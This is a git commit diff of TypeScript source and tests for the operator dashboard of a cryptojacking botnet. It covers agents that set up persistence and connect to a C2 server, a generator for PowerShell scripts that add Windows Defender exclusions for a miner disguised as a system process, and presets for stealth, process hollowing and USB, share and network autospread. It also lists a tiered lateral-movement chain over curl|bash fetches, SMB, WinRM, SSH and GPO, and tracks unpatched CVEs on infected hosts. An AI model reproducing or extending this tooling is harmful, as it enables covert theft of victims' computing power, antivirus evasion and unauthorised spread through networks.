Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
133
server/web/src/help/applyStatsUpdate.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import type { Agent } from '../types';
|
||||
import { applyStatsUpdates } from './applyStatsUpdate';
|
||||
|
||||
const baseAgent = (): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: new Date().toISOString(),
|
||||
created_at: new Date().toISOString(),
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 10,
|
||||
memory_usage_pct: 20,
|
||||
uptime_seconds: 60,
|
||||
});
|
||||
|
||||
describe('applyStatsUpdates', () => {
|
||||
it('applies batch updates in one pass', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', hashrate_15m: 50 }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 200, hashrate_1m: 200, hashrate_15m: 200, cpu_usage_pct: 15 },
|
||||
{ agent_id: 'a2', hashrate_15s: 80, hashrate_1m: 80, hashrate_15m: 80, cpu_usage_pct: 5 },
|
||||
]);
|
||||
expect(next[0].hashrate_15m).toBe(200);
|
||||
expect(next[1].hashrate_15m).toBe(80);
|
||||
});
|
||||
|
||||
it('returns same reference when nothing changed', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10 },
|
||||
]);
|
||||
expect(next).toBe(agents);
|
||||
});
|
||||
|
||||
it('merges mining cascade fields from stats_batch updates', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
chain_exhausted: false,
|
||||
chain_order: ['container', 'inprocess', 'stratum_direct'],
|
||||
failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }],
|
||||
last_error: 'container start blocked',
|
||||
},
|
||||
]);
|
||||
expect(next[0].active_method).toBe('inprocess');
|
||||
expect(next[0].stratum_overlay).toBe(true);
|
||||
expect(next[0].chain_order).toEqual(['container', 'inprocess', 'stratum_direct']);
|
||||
expect(next[0].failed_methods).toHaveLength(1);
|
||||
expect(next[0].last_error).toBe('container start blocked');
|
||||
});
|
||||
|
||||
it('applies batch mining updates for multiple agents', () => {
|
||||
const agents = [baseAgent(), { ...baseAgent(), id: 'a2', name: 'node-b' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{ agent_id: 'a1', hashrate_15s: 100, hashrate_1m: 100, hashrate_15m: 100, cpu_usage_pct: 10, active_method: 'container' },
|
||||
{ agent_id: 'a2', hashrate_15s: 50, hashrate_1m: 50, hashrate_15m: 50, cpu_usage_pct: 5, chain_exhausted: true },
|
||||
]);
|
||||
expect(next[0].active_method).toBe('container');
|
||||
expect(next[1].chain_exhausted).toBe(true);
|
||||
});
|
||||
|
||||
it('merges vuln_findings and vuln_risk_score from stats_batch', () => {
|
||||
const agents = [{ ...baseAgent(), id: 'v1', name: 'Vuln Node' }];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'v1',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
cpu_usage_pct: 0,
|
||||
vuln_risk_score: 42,
|
||||
vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }],
|
||||
},
|
||||
]);
|
||||
expect(next[0].vuln_risk_score).toBe(42);
|
||||
expect(next[0].vuln_findings?.[0].cve_id).toBe('CVE-2021-26855');
|
||||
});
|
||||
|
||||
it('merges mining_hashrate and lotl_tier from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
mining_hashrate: 850,
|
||||
lotl_tier: 'tier-1',
|
||||
},
|
||||
]);
|
||||
expect(next[0].mining_hashrate).toBe(850);
|
||||
expect(next[0].lotl_tier).toBe('tier-1');
|
||||
});
|
||||
|
||||
it('merges lotl_attempts from stats_batch', () => {
|
||||
const agents = [baseAgent()];
|
||||
const attempts = [
|
||||
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 400 },
|
||||
{ tier: 'cpu_inprocess', ok: true, duration_ms: 900 },
|
||||
];
|
||||
const next = applyStatsUpdates(agents, [
|
||||
{
|
||||
agent_id: 'a1',
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 100,
|
||||
hashrate_15m: 100,
|
||||
cpu_usage_pct: 10,
|
||||
lotl_tier: 'cpu_inprocess',
|
||||
lotl_attempts: attempts,
|
||||
},
|
||||
]);
|
||||
expect(next[0].lotl_attempts).toEqual(attempts);
|
||||
});
|
||||
});
|
||||
82
server/web/src/help/applyStatsUpdate.ts
Normal file
82
server/web/src/help/applyStatsUpdate.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import type { Agent } from '../types';
|
||||
import type { WSStatsUpdate } from '../types/ws';
|
||||
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||
|
||||
/** Merge one stats_update payload into an agent row. */
|
||||
export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
|
||||
return {
|
||||
...agent,
|
||||
hashrate_15s: update.hashrate_15s,
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? agent.shares_total,
|
||||
shares_good: update.shares_accepted ?? agent.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? agent.shares_total) -
|
||||
(update.shares_accepted ?? agent.shares_good),
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
|
||||
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
|
||||
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
|
||||
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
|
||||
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
|
||||
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
|
||||
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
|
||||
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
|
||||
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
|
||||
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
|
||||
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
|
||||
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
|
||||
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
|
||||
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
|
||||
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
|
||||
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
|
||||
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
|
||||
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
...(update.services !== undefined ? { services: update.services } : {}),
|
||||
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
|
||||
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
|
||||
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
|
||||
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
|
||||
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
|
||||
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
|
||||
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
|
||||
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
|
||||
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
|
||||
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
|
||||
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
|
||||
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
|
||||
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** Apply one or many stats updates in a single pass (batch-friendly). */
|
||||
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
|
||||
if (updates.length === 0) return agents;
|
||||
const byId = new Map(updates.map((u) => [u.agent_id, u]));
|
||||
let changed = false;
|
||||
const next = agents.map((a) => {
|
||||
const u = byId.get(a.id);
|
||||
if (!u || agentStatsUnchanged(a, u)) return a;
|
||||
changed = true;
|
||||
return mergeAgentStats(a, u);
|
||||
});
|
||||
return changed ? next : agents;
|
||||
}
|
||||
@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
|
||||
'/settings',
|
||||
'/forge',
|
||||
'/builds',
|
||||
'/agents',
|
||||
'/crucible',
|
||||
'/dashboard',
|
||||
]);
|
||||
for (const step of routed) {
|
||||
|
||||
@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
title: 'Connect',
|
||||
subtitle: 'Agent phones home',
|
||||
icon: '🔗',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
|
||||
route: '/agents',
|
||||
routeLabel: 'Fleet Roster',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
|
||||
route: '/crucible',
|
||||
routeLabel: 'Crucible',
|
||||
tips: [
|
||||
'Status dot: green = online now, grey = last seen X ago',
|
||||
'Remote action buttons are disabled when the agent is offline — by design',
|
||||
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
'C2 server URL (LAN http://IP:8989)',
|
||||
'Wallet address & payment ID',
|
||||
'Pool host, port, TLS on/off, pool password',
|
||||
'Worker name (shows in Fleet Roster)',
|
||||
'Worker name (shows in Crucible node roster)',
|
||||
'Thread count + thread mode (fixed / percent / adapt)',
|
||||
'CPU/RAM usage caps & idle detection',
|
||||
'Mining schedule (start/end time window)',
|
||||
@@ -328,7 +328,7 @@ ollama run llama3.2`,
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{
|
||||
problem: 'Agent never appears in Fleet Roster',
|
||||
problem: 'Agent never appears in Crucible',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
|
||||
},
|
||||
{
|
||||
|
||||
26
server/web/src/help/defenderExclusion.test.ts
Normal file
26
server/web/src/help/defenderExclusion.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
|
||||
|
||||
describe('defenderExclusion', () => {
|
||||
it('builds elevated PowerShell with path and process exclusions', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\ProgramData\\AetherForge\\worker",
|
||||
processName: 'RuntimeBrokerHelper',
|
||||
});
|
||||
expect(script).toContain('Add-MpPreference -ExclusionPath');
|
||||
expect(script).toContain('RuntimeBrokerHelper.exe');
|
||||
expect(script).toContain('Tamper Protection');
|
||||
});
|
||||
|
||||
it('escapes single quotes in paths', () => {
|
||||
const script = buildDefenderExclusionScript({
|
||||
installPath: "C:\\O'Brien\\miner",
|
||||
processName: 'worker',
|
||||
});
|
||||
expect(script).toContain("C:\\O''Brien\\miner");
|
||||
});
|
||||
|
||||
it('provides default install preview', () => {
|
||||
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
|
||||
});
|
||||
});
|
||||
57
server/web/src/help/defenderExclusion.ts
Normal file
57
server/web/src/help/defenderExclusion.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
|
||||
|
||||
export interface DefenderExclusionOptions {
|
||||
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
|
||||
installPath: string;
|
||||
/** Process name without .exe, e.g. RuntimeBrokerHelper */
|
||||
processName: string;
|
||||
}
|
||||
|
||||
function psEscapeSingleQuoted(value: string): string {
|
||||
return value.replace(/'/g, "''");
|
||||
}
|
||||
|
||||
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
|
||||
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
|
||||
const processName = psEscapeSingleQuoted(opts.processName.trim());
|
||||
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
|
||||
|
||||
return `# AetherForge — Windows Defender exclusions
|
||||
# Run elevated (Administrator). Review before executing.
|
||||
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
|
||||
|
||||
$ErrorActionPreference = 'Stop'
|
||||
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
|
||||
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||
Write-Warning 'Re-run this script as Administrator.'
|
||||
}
|
||||
|
||||
$paths = @(
|
||||
'${installPath}'
|
||||
)
|
||||
$processes = @(
|
||||
'${processExe}'
|
||||
)
|
||||
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath $paths -Force
|
||||
Add-MpPreference -ExclusionProcess $processes -Force
|
||||
Write-Host "Added Defender exclusions for install path and ${processExe}"
|
||||
} catch {
|
||||
Write-Warning $_.Exception.Message
|
||||
}
|
||||
|
||||
Write-Host ''
|
||||
Write-Host 'Manual checklist if mining still blocked:'
|
||||
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
|
||||
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
|
||||
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
|
||||
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
|
||||
`;
|
||||
}
|
||||
|
||||
/** Example install path for Calibrate preview (Windows localappdata template). */
|
||||
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
|
||||
const slug = workerName.trim() || 'worker';
|
||||
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
|
||||
}
|
||||
@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
max_memory_percent: '/docs/#forge-stealth',
|
||||
min_free_ram_mb: '/docs/#forge-stealth',
|
||||
mining_mode: '/docs/#forge-stealth',
|
||||
miner_execution: '/docs/#container-mining',
|
||||
idle_threshold_pct: '/docs/#forge-stealth',
|
||||
idle_duration_minutes: '/docs/#forge-stealth',
|
||||
schedule_start: '/docs/#agent',
|
||||
|
||||
@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'idle',
|
||||
miner_execution: 'auto',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
|
||||
@@ -14,13 +14,14 @@ import {
|
||||
describe('forgeMissionWizard', () => {
|
||||
it('defines three ritual wizard steps', () => {
|
||||
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
|
||||
});
|
||||
|
||||
it('maps operation chips to forge modes', () => {
|
||||
expect(operationModeForChip('ghost')).toBe('ghost_walk');
|
||||
expect(operationModeForChip('loud')).toBe('open_flame');
|
||||
expect(operationModeForChip('spread')).toBe('wildfire');
|
||||
expect(operationModeForChip('avsafe')).toBe('av_safe');
|
||||
});
|
||||
|
||||
it('reverse-maps operation modes to wizard chips', () => {
|
||||
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
|
||||
expect(missionChipForMode('open_flame')).toBe('loud');
|
||||
expect(missionChipForMode('wildfire')).toBe('spread');
|
||||
expect(missionChipForMode('crucible_storm')).toBe('spread');
|
||||
expect(missionChipForMode('av_safe')).toBe('avsafe');
|
||||
});
|
||||
|
||||
it('navigates wizard steps forward and back', () => {
|
||||
|
||||
@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
||||
launch: 'Launch',
|
||||
};
|
||||
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
|
||||
|
||||
export interface MissionOperationChipDef {
|
||||
id: MissionOperationChip;
|
||||
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
||||
modeId: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
||||
},
|
||||
{
|
||||
id: 'avsafe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
modeId: 'av_safe',
|
||||
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
|
||||
},
|
||||
];
|
||||
|
||||
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
||||
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
|
||||
}
|
||||
|
||||
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
||||
if (mode === 'av_safe') return 'avsafe';
|
||||
if (mode === 'open_flame') return 'loud';
|
||||
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
||||
return 'ghost';
|
||||
|
||||
@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
it('exposes colored aether-themed presets including LOTL Onion', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(8);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
'AV-Safe',
|
||||
'LOTL Onion',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
'aether',
|
||||
'aether',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
|
||||
it('applies AV-Safe in-process mining without GPU or spread', () => {
|
||||
const next = applyOperationMode(baseForm(), 'av_safe');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.process_hollowing).toBe(false);
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(false);
|
||||
expect(next.remote_aggressive).toBe(false);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'lotl_onion');
|
||||
expect(next.miner_execution).toBe('inprocess');
|
||||
expect(next.gpu_enabled).toBe(false);
|
||||
expect(next.lotl_onion_enabled).toBe(true);
|
||||
expect(next.lotl_policy_from_server).toBe(true);
|
||||
expect(next.lotl_onion_tiers).toHaveLength(9);
|
||||
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
|
||||
expect(next.spread_kit).toBe(false);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.share_spread).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
@@ -7,7 +8,9 @@ export type OperationModeId =
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
| 'crucible_storm'
|
||||
| 'av_safe'
|
||||
| 'lotl_onion';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'av_safe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
skin: 'aether',
|
||||
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lotl_onion',
|
||||
label: 'LOTL Onion',
|
||||
color: '#38bdf8',
|
||||
skin: 'aether',
|
||||
blurb:
|
||||
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: true,
|
||||
share_spread: true,
|
||||
usb_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
lotl_onion_enabled: true,
|
||||
lotl_policy_from_server: true,
|
||||
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
|
||||
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
14
server/web/src/help/lotlOnionTiers.test.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
|
||||
|
||||
describe('lotlOnionTiers', () => {
|
||||
it('lists nine tiers in onion order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
|
||||
});
|
||||
|
||||
it('documents each tier with a one-line hint', () => {
|
||||
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
|
||||
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
38
server/web/src/help/lotlOnionTiers.ts
Normal file
38
server/web/src/help/lotlOnionTiers.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||
|
||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
'linux',
|
||||
'gpo',
|
||||
] as const;
|
||||
|
||||
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
|
||||
|
||||
export interface LotlOnionTierDoc {
|
||||
id: LotlOnionTierId;
|
||||
label: string;
|
||||
/** One-line operator hint for playbook tabs */
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
|
||||
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
|
||||
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
|
||||
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
|
||||
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
|
||||
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
|
||||
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
|
||||
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
|
||||
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
|
||||
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
|
||||
];
|
||||
|
||||
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
|
||||
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
/** Map dashboard routes to human-readable page names for comrade presence. */
|
||||
const PAGE_LABELS: Record<string, string> = {
|
||||
'/dashboard': 'Command Deck',
|
||||
'/agents': 'Fleet Roster',
|
||||
'/agents': 'Crucible',
|
||||
'/crucible': 'Crucible',
|
||||
'/forge': 'Forge',
|
||||
'/builder': 'Forge',
|
||||
|
||||
38
server/web/src/help/reconRisk.test.ts
Normal file
38
server/web/src/help/reconRisk.test.ts
Normal file
@@ -0,0 +1,38 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
|
||||
|
||||
describe('reconRisk', () => {
|
||||
it('ipToSubnet derives /24 label', () => {
|
||||
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
|
||||
expect(ipToSubnet('')).toBe('');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings returns null when empty or all patched', () => {
|
||||
